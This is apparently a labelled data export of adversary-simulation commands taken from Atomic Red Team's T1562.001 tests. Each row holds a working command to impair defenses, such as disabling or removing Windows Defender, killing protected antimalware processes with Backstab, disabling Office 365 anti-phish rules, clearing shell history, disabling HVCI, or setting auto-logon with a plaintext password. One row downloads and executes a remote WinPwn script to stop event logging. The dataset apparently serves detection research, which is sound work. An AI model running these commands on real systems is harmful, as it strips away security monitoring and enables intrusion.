To check the exclusion list using poweshell  (Get-MpPreference).ExclusionProcess.""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7a863f2d3c1efc41e63d2b13,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Disable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Disable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,office-365-Disable-AntiPhishRule,T1562.001,"[""T1562.001""]",office-365,0.9,False,"Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ee1531914437293f21da25bd,"if(""#{password}"" -ne """") { $secure_pwd = (""#{password}"" + """") | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Enable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule }","if(""#{password}"" -ne """") { $secure_pwd = (""#{password}"" + """") | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Enable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,office-365-Disable-AntiPhishRule,T1562.001,"[""T1562.001""]",office-365,0.55,True,"Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ea0d8b0bb0b34fd287c5eb11,Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet,Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Windows Defender with DISM,T1562.001,"[""T1562.001""]",windows,0.9,False,"The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. 
DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's package.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
12f4781994c6085792bc155d,"Try {cmd /c ""#{AdvancedRun_Location}"" /EXEFilename ""$env:systemroot\System32\sc.exe"" /WindowState 0 /CommandLine ""stop WinDefend"" /StartDirectory """" /RunAs 8 /Run} Catch{} if(#{delete_defender_folder}){ $CommandToRun = rmdir ""$env:programdata\Microsoft\Windows Defender"" -Recurse Try {cmd /c ""#{AdvancedRun_Location}"" /EXEFilename ""$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe"" /WindowState 0 /CommandLine ""$CommandToRun"" /StartDirectory """" /RunAs 8 /Run} Catch{} }","Try {cmd /c ""#{AdvancedRun_Location}"" /EXEFilename ""$env:systemroot\System32\sc.exe"" /WindowState 0 /CommandLine ""stop WinDefend"" /StartDirectory """" /RunAs 8 /Run} Catch{} if(#{delete_defender_folder}){ $CommandToRun = rmdir ""$env:programdata\Microsoft\Windows Defender"" -Recurse Try {cmd /c ""#{AdvancedRun_Location}"" /EXEFilename ""$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe"" /WindowState 0 /CommandLine ""$CommandToRun"" /StartDirectory """" /RunAs 8 /Run} Catch{} }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Defender Using NirSoft AdvancedRun,T1562.001,"[""T1562.001""]",windows,0.9,False,"Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3739d0b4d0c043a824313dbd,"Try {cmd /c ""#{AdvancedRun_Location}"" /EXEFilename ""$env:systemroot\System32\sc.exe"" /WindowState 0 /CommandLine ""start WinDefend"" /StartDirectory """" /RunAs 8 /Run} Catch{}","Try {cmd /c ""#{AdvancedRun_Location}"" /EXEFilename ""$env:systemroot\System32\sc.exe"" /WindowState 0 /CommandLine ""start WinDefend"" /StartDirectory """" /RunAs 8 /Run} Catch{}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Defender Using NirSoft AdvancedRun,T1562.001,"[""T1562.001""]",windows,0.55,True,"Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1cb1ad7e1a9b6dfb6b225445,"& ""PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe"" -k -n #{process_name}","& ""PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe"" -k -n #{process_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Kill antimalware protected processes using Backstab,T1562.001,"[""T1562.001""]",windows,0.9,False,"Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.
https://github.com/Yaxser/Backstab",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71b8c601f953ce723c348ad3,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') inv-phantom -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') inv-phantom -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,WinPwn - Kill the event log services for stealth,T1562.001,"[""T1562.001""]",windows,0.9,False,Kill the event log services for stealth via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0f99258e4e28ff09fe259f59,Set-MpPreference -drtm $True Set-MpPreference -dbm $True Set-MpPreference -dscrptsc $True Set-MpPreference -dbaf $True,Set-MpPreference -drtm $True Set-MpPreference -dbm $True Set-MpPreference -dscrptsc $True Set-MpPreference -dbaf $True,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender ATP using Aliases - PowerShell,T1562.001,"[""T1562.001""]",windows,0.9,False,"Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
edf6d0c178f9a8c77757addb,Set-MpPreference -drtm 0 Set-MpPreference -dbm 0 Set-MpPreference -dscrptsc 0 Set-MpPreference -dbaf 0,Set-MpPreference -drtm 0 Set-MpPreference -dbm 0 Set-MpPreference -dscrptsc 0 Set-MpPreference -dbaf 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender ATP using Aliases - PowerShell,T1562.001,"[""T1562.001""]",windows,0.55,True,"Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc29ea2369b287b81d7f5534,"reg add ""HKCU\Software\Policies\Microsoft\Windows\OOBE"" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f","reg add ""HKCU\Software\Policies\Microsoft\Windows\OOBE"" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,LockBit Black - Disable Privacy Settings Experience Using Registry -cmd,T1562.001,"[""T1562.001""]",windows,0.9,False,"LockBit Black - Disable Privacy Settings Experience Using Registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d11deeb19346d3805900486,"reg delete ""HKCU\Software\Policies\Microsoft\Windows\OOBE"" /v DisablePrivacyExperience /f >nul 2>&1","reg delete ""HKCU\Software\Policies\Microsoft\Windows\OOBE"" /v DisablePrivacyExperience /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,LockBit Black - Disable Privacy Settings Experience Using Registry -cmd,T1562.001,"[""T1562.001""]",windows,0.55,True,"LockBit Black - Disable Privacy Settings Experience Using Registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
424142258cda4763f9fe4f24,"reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v AutoAdminLogon /t REG_DWORD /d 1 /f reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultUserName /t REG_SZ /d Administrator /f reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultDomainName /t REG_SZ /d contoso.com /f reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultPassword /t REG_SZ /d password1 /f","reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v AutoAdminLogon /t REG_DWORD /d 1 /f reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultUserName /t REG_SZ /d Administrator /f reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultDomainName /t REG_SZ /d contoso.com /f reg add ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultPassword /t REG_SZ /d password1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,LockBit Black - Use Registry Editor to turn on automatic logon -cmd,T1562.001,"[""T1562.001""]",windows,0.9,False,"LockBit Black - Use Registry Editor to turn on automatic logon
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6ec65bf220384a2551d09d11,"reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v AutoAdminLogon /f >nul 2>&1 reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultUserName /f >nul 2>&1 reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultDomainName /f >nul 2>&1 reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultPassword /f >nul 2>&1","reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v AutoAdminLogon /f >nul 2>&1 reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultUserName /f >nul 2>&1 reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultDomainName /f >nul 2>&1 reg delete ""HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" /v DefaultPassword /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,LockBit Black - Use Registry Editor to turn on automatic logon -cmd,T1562.001,"[""T1562.001""]",windows,0.55,True,"LockBit Black - Use Registry Editor to turn on automatic logon
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bae66b0d0e4df726d3b2001e,"New-ItemProperty ""HKCU:\Software\Policies\Microsoft\Windows\OOBE"" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force","New-ItemProperty ""HKCU:\Software\Policies\Microsoft\Windows\OOBE"" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell,T1562.001,"[""T1562.001""]",windows,0.9,False,"LockBit Black - Disable Privacy Settings Experience Using Registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0017f1ebd37491c023d4aab,"Remove-ItemProperty ""HKCU:\Software\Policies\Microsoft\Windows\OOBE"" -Name DisablePrivacyExperience -Force -ErrorAction Ignore","Remove-ItemProperty ""HKCU:\Software\Policies\Microsoft\Windows\OOBE"" -Name DisablePrivacyExperience -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell,T1562.001,"[""T1562.001""]",windows,0.55,True,"LockBit Black - Disable Privacy Settings Experience Using Registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e0c504399aa44443d34d9d5,"New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultUserName -Value Administrator -Force New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultDomainName -Value contoso.com -Force New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultPassword -Value password1 -Force","New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultUserName -Value Administrator -Force New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultDomainName -Value contoso.com -Force New-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultPassword -Value password1 -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell,T1562.001,"[""T1562.001""]",windows,0.9,False,"Lockbit Black - Use Registry Editor to turn on automatic logon
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9272f413d5c7013b59bbdc08,"Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name AutoAdminLogon -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultUserName -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultDomainName -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultPassword -Force -ErrorAction Ignore","Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name AutoAdminLogon -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultUserName -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultDomainName -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name DefaultPassword -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell,T1562.001,"[""T1562.001""]",windows,0.55,True,"Lockbit Black - Use Registry Editor to turn on automatic logon
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc30143d7259cd8deecaf159,"Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender-Gui"" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender-Features"" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender"" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender-ApplicationGuard"" -NoRestart -ErrorAction Ignore","Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender-Gui"" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender-Features"" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender"" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName ""Windows-Defender-ApplicationGuard"" -NoRestart -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Windows Defender with PwSh Disable-WindowsOptionalFeature,T1562.001,"[""T1562.001""]",windows,0.9,False,"The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. 
Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's packages.
Reference: https://docs.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
15a23ed996104aa66d35986c,"wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\""ATOMICREDTEAM\""","wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\""ATOMICREDTEAM\""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,WMIC Tamper with Windows Defender Evade Scanning Folder,T1562.001,"[""T1562.001""]",windows,0.9,False,"The following Atomic will attempt to exclude a folder within Defender leveraging WMI
Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5a40a0db4d21a20360b73418,"wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\""ATOMICREDTEAM\""","wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\""ATOMICREDTEAM\""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,WMIC Tamper with Windows Defender Evade Scanning Folder,T1562.001,"[""T1562.001""]",windows,0.55,True,"The following Atomic will attempt to exclude a folder within Defender leveraging WMI
Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa0deb120bd3c64074b03c91,"IF EXIST ""%temp%\Windows_Defender_Scheduled_Scan.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan"" /f ) IF EXIST ""%temp%\Windows_Defender_Cleanup.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cleanup"" /f ) IF EXIST ""%temp%\Windows_Defender_Verification.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Verification"" /f ) IF EXIST ""%temp%\Windows_Defender_Cache_Maintenance.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance"" /f )","IF EXIST ""%temp%\Windows_Defender_Scheduled_Scan.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan"" /f ) IF EXIST ""%temp%\Windows_Defender_Cleanup.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cleanup"" /f ) IF EXIST ""%temp%\Windows_Defender_Verification.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Verification"" /f ) IF EXIST ""%temp%\Windows_Defender_Cache_Maintenance.xml"" ( schtasks /delete /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance"" /f )",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Delete Windows Defender Scheduled Tasks,T1562.001,"[""T1562.001""]",windows,0.9,False,"The following atomic test will delete the Windows Defender scheduled tasks.

[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb8ea82493e204d9b670f158,"schtasks /create /xml ""%temp%\Windows_Defender_Scheduled_Scan.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan"" /f schtasks /create /xml ""%temp%\Windows_Defender_Cleanup.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cleanup"" /f schtasks /create /xml ""%temp%\Windows_Defender_Verification.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Verification"" /f schtasks /create /xml ""%temp%\Windows_Defender_Cache_Maintenance.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance"" /f","schtasks /create /xml ""%temp%\Windows_Defender_Scheduled_Scan.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan"" /f schtasks /create /xml ""%temp%\Windows_Defender_Cleanup.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cleanup"" /f schtasks /create /xml ""%temp%\Windows_Defender_Verification.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Verification"" /f schtasks /create /xml ""%temp%\Windows_Defender_Cache_Maintenance.xml"" /tn ""\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Delete Windows Defender Scheduled Tasks,T1562.001,"[""T1562.001""]",windows,0.55,True,"The following atomic test will delete the Windows Defender scheduled tasks.

[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
470b7efabb009d2173c5cec7,history -c,history -c,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Clear History,T1562.001,"[""T1562.001""]",linux,0.9,False,"Clear Shell History. This technique only affect the bash shell application. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b7f8591d90e04539e6464ab5,set +o history,set +o history,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Suspend History,T1562.001,"[""T1562.001""]",linux,0.9,False,"suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
27afa33b3993590b0dbc2e96,set -o history,set -o history,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Suspend History,T1562.001,"[""T1562.001""]",linux,0.55,True,"suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
275c5fb50fbeb0d89099bdb8,echo 1> /proc/sys/kernel/sysrq echo b> /proc/sysrq-trigger,echo 1> /proc/sys/kernel/sysrq echo b> /proc/sysrq-trigger,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Reboot Linux Host via Kernel System Request,T1562.001,"[""T1562.001""]",linux,0.9,False,"reboot system via system request seen in Awfulshred wiper.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7b39a273991e6636a47ff550,free && echo 3 > /proc/sys/vm/drop_caches && free echo 3> /proc/sys/vm/drop_caches,free && echo 3 > /proc/sys/vm/drop_caches && free echo 3> /proc/sys/vm/drop_caches,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Clear Pagging Cache,T1562.001,"[""T1562.001""]",linux,0.9,False,"clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part
of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1944e78986d87bee609c9ae1,swapon -a sleep 2 swapoff -a sync,swapon -a sleep 2 swapoff -a sync,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Memory Swap,T1562.001,"[""T1562.001""]",linux,0.9,False,"disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional 
payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ced932872af6e3e64c06d49,swapon -a sleep 2 sync,swapon -a sleep 2 sync,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Memory Swap,T1562.001,"[""T1562.001""]",linux,0.55,True,"disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional 
payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c20231427a1ccf93a062b94,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"" /v ""Enabled"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"" /v ""Enabled"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Hypervisor-Enforced Code Integrity (HVCI),T1562.001,"[""T1562.001""]",windows,0.9,False,"This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity ""Enabled"" value to ""0"".
The pre-req needs to be ran in order to setup HVCI and have it enabled. 
We do not recommend running this in production.
[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)
[Microsoft]",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
